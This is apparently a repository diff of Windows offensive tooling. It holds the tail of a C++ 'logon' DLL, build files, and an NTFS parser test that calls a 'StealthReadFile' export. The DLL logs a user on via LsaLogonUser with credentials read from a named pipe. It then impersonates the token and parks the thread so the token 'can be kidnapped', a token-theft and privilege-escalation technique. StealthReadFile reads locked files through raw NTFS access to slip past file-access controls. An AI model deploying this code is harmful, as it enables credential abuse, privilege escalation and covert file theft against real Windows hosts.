authBuffer = CreateKerbLogonStructure(domain, username, password, &authBufferSize);
}
else
{
string errorMsg = "Received an invalid auth package from the named pipe";
WriteErrorToPipe(errorMsg, pipe);
return;
}
ULONG authPackage = 0;
PLSA_STRING authPackageName = new LSA_STRING();
authPackageName->Buffer = authPackageBuf;
authPackageName->Length = (USHORT)strlen(authPackageBuf);
authPackageName->MaximumLength = (USHORT)strlen(authPackageBuf);
status = LsaLookupAuthenticationPackage(hLSA, authPackageName, &authPackage);
if (status != 0)
{
int winError = LsaNtStatusToWinError(status);
string errorMsg = "Call to LsaLookupAuthenticationPackage failed. Error code: " + to_string(winError);
WriteErrorToPipe(errorMsg, pipe);
return;
}
//Get TokenSource
HANDLE hProcess = GetCurrentProcess();//todo
HANDLE procToken = NULL;
success = OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &procToken);
if (!success)
{
DWORD errorCode = GetLastError();
string errorMsg = "Call to OpenProcessToken failed. Errorcode: " + to_string(errorCode);
WriteErrorToPipe(errorMsg, pipe);
return;
}
TOKEN_SOURCE tokenSource = {};
DWORD realSize = 0;
success = GetTokenInformation(procToken, TokenSource, &tokenSource, sizeof(tokenSource), &realSize);
if (!success)
{
string errorMsg = "Call to GetTokenInformation failed.";
WriteErrorToPipe(errorMsg, pipe);
return;
}
//Misc out parameters
PVOID profileBuffer = NULL;
ULONG profileBufferSize = 0;
LUID loginId;
HANDLE token = NULL;
QUOTA_LIMITS quotaLimits;
NTSTATUS subStatus = 0;
//Log on the user
status = LsaLogonUser(hLSA,
&originName,
static_cast<SECURITY_LOGON_TYPE>(logonType),
authPackage,
authBuffer,
authBufferSize,
0,
&tokenSource,
&profileBuffer,
&profileBufferSize,
&loginId,
&token,
&quotaLimits,
&subStatus);
if (status != 0)
{
NTSTATUS winError = LsaNtStatusToWinError(status);
string errorMsg = "Error calling LsaLogonUser. Error code: " + to_string(winError);
WriteErrorToPipe(errorMsg, pipe);
return;
}
//Impersonate the token with the current thread so it can be kidnapped
ImpersonateLoggedOnUser(token);
//Put the thread to sleep so it can be impersonated
string successMsg = "Logon succeeded, impersonating the token so it can be kidnapped and starting an infinite loop with the thread.";
WriteErrorToPipe(successMsg, pipe);
HANDLE permenantSleep = CreateMutex(NULL, false, NULL);
while(1)
{
Sleep(MAXDWORD);
}
return;
}
PVOID CreateKerbLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size)
{
size_t wcharSize = sizeof(wchar_t);
size_t totalSize = sizeof(KERB_INTERACTIVE_LOGON) + ((lstrlenW(domain) + lstrlenW(username) + lstrlenW(password)) * wcharSize);
KERB_INTERACTIVE_LOGON* ntlmLogon = (PKERB_INTERACTIVE_LOGON)(new BYTE[totalSize]);
size_t writeAddress = (UINT_PTR)ntlmLogon + sizeof(KERB_INTERACTIVE_LOGON);
ntlmLogon->MessageType = KerbInteractiveLogon;
writeAddress += WriteUnicodeString(domain, &(ntlmLogon->LogonDomainName), (PVOID)writeAddress);
writeAddress += WriteUnicodeString(username, &(ntlmLogon->UserName), (PVOID)writeAddress);
writeAddress += WriteUnicodeString(password, &(ntlmLogon->Password), (PVOID)writeAddress);
*size = (DWORD)totalSize; //If the size is bigger than a DWORD, there is a gigantic bug somewhere.
return ntlmLogon;
}
PVOID CreateNtlmLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size)
{
size_t wcharSize = sizeof(wchar_t);
size_t totalSize = sizeof(MSV1_0_INTERACTIVE_LOGON) + ((lstrlenW(domain) + lstrlenW(username) + lstrlenW(password)) * wcharSize);
MSV1_0_INTERACTIVE_LOGON* ntlmLogon = (PMSV1_0_INTERACTIVE_LOGON)(new BYTE[totalSize]);
size_t writeAddress = (UINT_PTR)ntlmLogon + sizeof(MSV1_0_INTERACTIVE_LOGON);
ntlmLogon->MessageType = MsV1_0InteractiveLogon;
writeAddress += WriteUnicodeString(domain, &(ntlmLogon->LogonDomainName), (PVOID)writeAddress);
writeAddress += WriteUnicodeString(username, &(ntlmLogon->UserName), (PVOID)writeAddress);
writeAddress += WriteUnicodeString(password, &(ntlmLogon->Password), (PVOID)writeAddress);
*size = (DWORD)totalSize; //If the size is bigger than a DWORD, there is a gigantic bug somewhere.
return ntlmLogon;
}
//Returns the amount of bytes written.
size_t WriteUnicodeString(const wchar_t* str, UNICODE_STRING* uniStr, PVOID address)
{
size_t size = lstrlenW(str) * sizeof(wchar_t);
uniStr->Length = (USHORT)size;
uniStr->MaximumLength = (USHORT)size;
uniStr->Buffer = (PWSTR)address;
memcpy(address, str, size);
return size;
}
void WriteErrorToPipe(string errorMsg, HANDLE pipe)
{
const char* error = errorMsg.c_str();
DWORD bytesWritten = 0;
WriteFile(pipe, error, strlen(error), &bytesWritten, NULL);
}
@@ -0,0 +1,176 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>logon</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp">
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
</PrecompiledHeader>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
</PrecompiledHeader>
</ClCompile>
<ClCompile Include="logon.cpp" />
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,39 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="logon.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="dllmain.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
@@ -0,0 +1,8 @@
// stdafx.cpp : source file that includes just the standard includes
// logon.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file
@@ -0,0 +1,25 @@
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
// Windows Header Files:
#include "targetver.h"
#include <stdio.h>
#include <tchar.h>
#include <iostream>
#include <string>
#include <fstream>
#include <ostream>
#include <mutex>
#include <Windows.h>
#include <NTSecAPI.h>
// TODO: reference additional headers your program requires here
@@ -0,0 +1,8 @@
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>
+26
View File
@@ -0,0 +1,26 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2012
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NTFSParserDLL", "NTFSParserDLL\NTFSParserDLL.vcxproj", "{5E42B778-F231-4797-B7FD-7D5BCA9738D0}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
Release|Win32 = Release|Win32
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|Win32.ActiveCfg = Debug|Win32
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|Win32.Build.0 = Debug|Win32
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|x64.ActiveCfg = Debug|x64
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|x64.Build.0 = Debug|x64
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|Win32.ActiveCfg = Release|Win32
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|Win32.Build.0 = Release|Win32
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|x64.ActiveCfg = Release|x64
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
+28
View File
@@ -0,0 +1,28 @@
/*
* NTFS include files
*
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef __NTFS_H_CYB70289
#define __NTFS_H_CYB70289
#pragma pack(8)
#include "NTFS_Common.h"
#include "NTFS_FileRecord.h"
#include "NTFS_Attribute.h"
#pragma pack()
#endif
@@ -0,0 +1,49 @@
/*
*
* Copyright(C) 2013 Joe Bialek Twitter:@JosephBialek
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
//
// This code uses libraries released under GPLv2(or later) written by cyb70289 <cyb70289@gmail.com>
#include "stdafx.h"
#include "NTFS.h"
#include "NTFS_Attribute.h"
#include "NTFS_Common.h"
#include "NTFS_DataType.h"
#include "NTFS_FileRecord.h"
using namespace std;
typedef DWORD (CDECL *StealthReadFile_Func)(string, BYTE*, DWORD, ULONGLONG, DWORD*, ULONGLONG*);
int _tmain(int argc, _TCHAR* argv[])
{
HMODULE parserDLLHandle = LoadLibraryA("NTFSParserDLL.dll");
HANDLE procAddress = GetProcAddress(parserDLLHandle, "StealthReadFile");
StealthReadFile_Func StealthReadFile = (StealthReadFile_Func)procAddress;
DWORD buffSize = 1024*1024;
BYTE* buffer = new BYTE[buffSize];
DWORD bytesRead = 0;
ULONGLONG bytesLeft = 0;
DWORD ret = StealthReadFile("c:\\test\\test.txt", buffer, buffSize, 0, &bytesRead, &bytesLeft);
cout << "Return value: " << ret << endl;
ofstream myFile("c:\\test\\test2.txt", ios::out | ios::binary);
myFile.write((char*)buffer, bytesRead);
return 0;
}
@@ -0,0 +1,165 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{2F38A7A9-D810-451B-BB19-273770AF4D25}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>NTFSParser</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>NotSet</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>NotSet</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>false</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>false</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="NTFS.h" />
<ClInclude Include="NTFS_Attribute.h" />
<ClInclude Include="NTFS_Common.h" />
<ClInclude Include="NTFS_DataType.h" />
<ClInclude Include="NTFS_FileRecord.h" />
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="NTFSParser.cpp" />
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,51 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="NTFS.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="NTFS_Attribute.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="NTFS_Common.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="NTFS_DataType.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="NTFS_FileRecord.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="NTFSParser.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,317 @@
/*
* NTFS Class common definitions
*
